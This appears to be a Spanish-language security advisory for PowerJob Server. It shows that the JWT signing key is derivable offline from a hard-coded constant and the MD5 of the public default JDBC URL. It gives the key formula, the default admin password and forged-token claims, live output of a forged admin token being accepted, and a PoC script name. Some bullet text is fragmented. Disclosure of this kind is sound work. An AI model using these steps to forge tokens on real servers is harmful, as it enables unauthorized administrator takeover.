
Demuestra una vulnerabilidad crítica de previsibilidad de la clave de firma JWT en PowerJob Server, que permite la derivación de claves sin conexión y la falsificación de tokens para la toma de control de administrador y la evasión de la autenticación de OpenAPI.
La clave de firma JWT (HS256) del servidor PowerJob se deriva decodificando en BASE64 una constante codificada concatenada con el MD5 de la URL JDBC predeterminada (DefaultSecretProvider / JwtServiceImpl). La URL JDBC es pública en la implementación predeterminada (docker-compose / application-daily.properties), por lo que un atacante puede derivar la clave completamente sin conexión y falsificar un JWT válido para cualquier usuario (incluido el administrador); el Token de Aplicación OpenAPI también puede falsificarse para omitir la autenticación de OpenAPI.
application-daily.properties expone en texto planojdbc:mysql://powerjob-mysql:3306/powerjob-daily?...powerjob-server-auth/.../jwt/impl/DefaultSecretProvider.java:31-45: return md5(environment.getProperty("spring.datasource.core.jdbc-url"));powerjob-server-auth/.../jwt/impl/JwtServiceImpl.java:44-102: constante BASE_SECURITY codificada; genSecretKey(secret) = Decoders.BASE64.decode(BASE_SECURITY.concat(secret)) → Keys.hmacShaKeyForusername/encryptedToken) tiene una verificación secundaria para cuentas PWJB (DigestUtils.rePassword(password, username)), pero:
appId/password/encryptType) puede falsificarse directamente para omitir la autenticación (OpenApiSecurityServiceImpl:87-105);Entorno: servidor PowerJob local (127.0.0.1:7700, URL JDBC jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true). El atacante deriva todo sin conexión únicamente a partir de información pública:
# ① Derivar encryptedToken (= rePassword(password, username)); calculable con la contraseña predeterminada
rePassword("powerjob_admin", "ADMIN")
= ADMIN_b82a450701f6a71723fb99931fe35e18_b # byte por byte igual al user_info.token_login_verify_info de la BD ✅
# ② Derivar la clave de firma HS256 = BASE64(BASE_SECURITY + MD5(JDBC_URL))
secret = BASE_SECURITY + md5(jdbc_url) # clave de 101 bytes
# ③ Falsificar un JWT web de ADMIN (claims: username=PWJB_ADMIN, encryptedToken=resultado de ①, sub=PowerJob)
Resultado real (el token falsificado pasa la autenticación):
[*] /namespace/list sin token :
{"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}
[*] /namespace/list JWT falsificado :
{"success":true,"data":{"index":0,"pageSize":10,"totalPages":1,"totalItems":1,"data":[{"id":1,"code":"default_namespace","name":"default_namespace","dept":null,"tags":null,"extra":null,"status":1,"statusStr":"ENABLE","gmtCreate":"2026-08-07T13:07:32.000+00:00","gmtCreateStr":"2026-08-07 21:07:32","gmtModified":"2026-08-07T13:07:32.000+00:00","gmtModifiedStr":"2026-08-07 21:07:32","showName":"default_namespace(default_namespace)","token":"14e4ebff-9a79-4845-ac66-8b20c4dff2ee","componentUserRoleInfo":{"observer":[],"qa":[],"developer":[],"admin":[]},"creatorShowName":null,"modifierShowName":null}]},"message":null}
→ el token falsificado se autentica como administrador y devuelve datos reales (la línea base se rechaza con UserNotLoggedIn).
Puntos clave:
encryptedToken derivado sin conexión coincide con el valor almacenado en la BD byte por byte (ADMIN_b82a450701f6a71723fb99931fe35e18_b).BASE_SECURITY + MD5 de la URL JDBC predeterminada pública → derivable sin conexión sin credenciales.encryptedToken de PWJB es recalculable sin conexión con la contraseña predeterminada (powerjob_admin, hallazgo PJ-02) → toma de control total del administrador.encryptedToken, pero la ruta del Token de Aplicación OpenAPI (claims appId/password/encryptType, OpenApiSecurityServiceImpl:87-105) aún puede falsificarse de forma independiente para omitir la autenticación de OpenAPI.Incluso si se cambia la contraseña predeterminada, la vulnerabilidad persiste a través de otros vectores de ataque:
encryptedToken de cualquier usuario válido por otros medios (p. ej., inyección SQL, exposición de copias de seguridad de la base de datos, fuga de registros o divulgación de información de otros endpoints) puede combinar ese token con la clave de firma predecible para falsificar un JWT para ese usuario específico.encryptedToken, porque el token falsificado ahora contiene un encryptedToken legítimo derivado del registro real de la base de datos.PoC: powerjob_jwt_key.py 192.168.49.128:7700


encryptedToken para todas las cuentas.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 Crítico (combinado con la contraseña predeterminada / OpenAPI)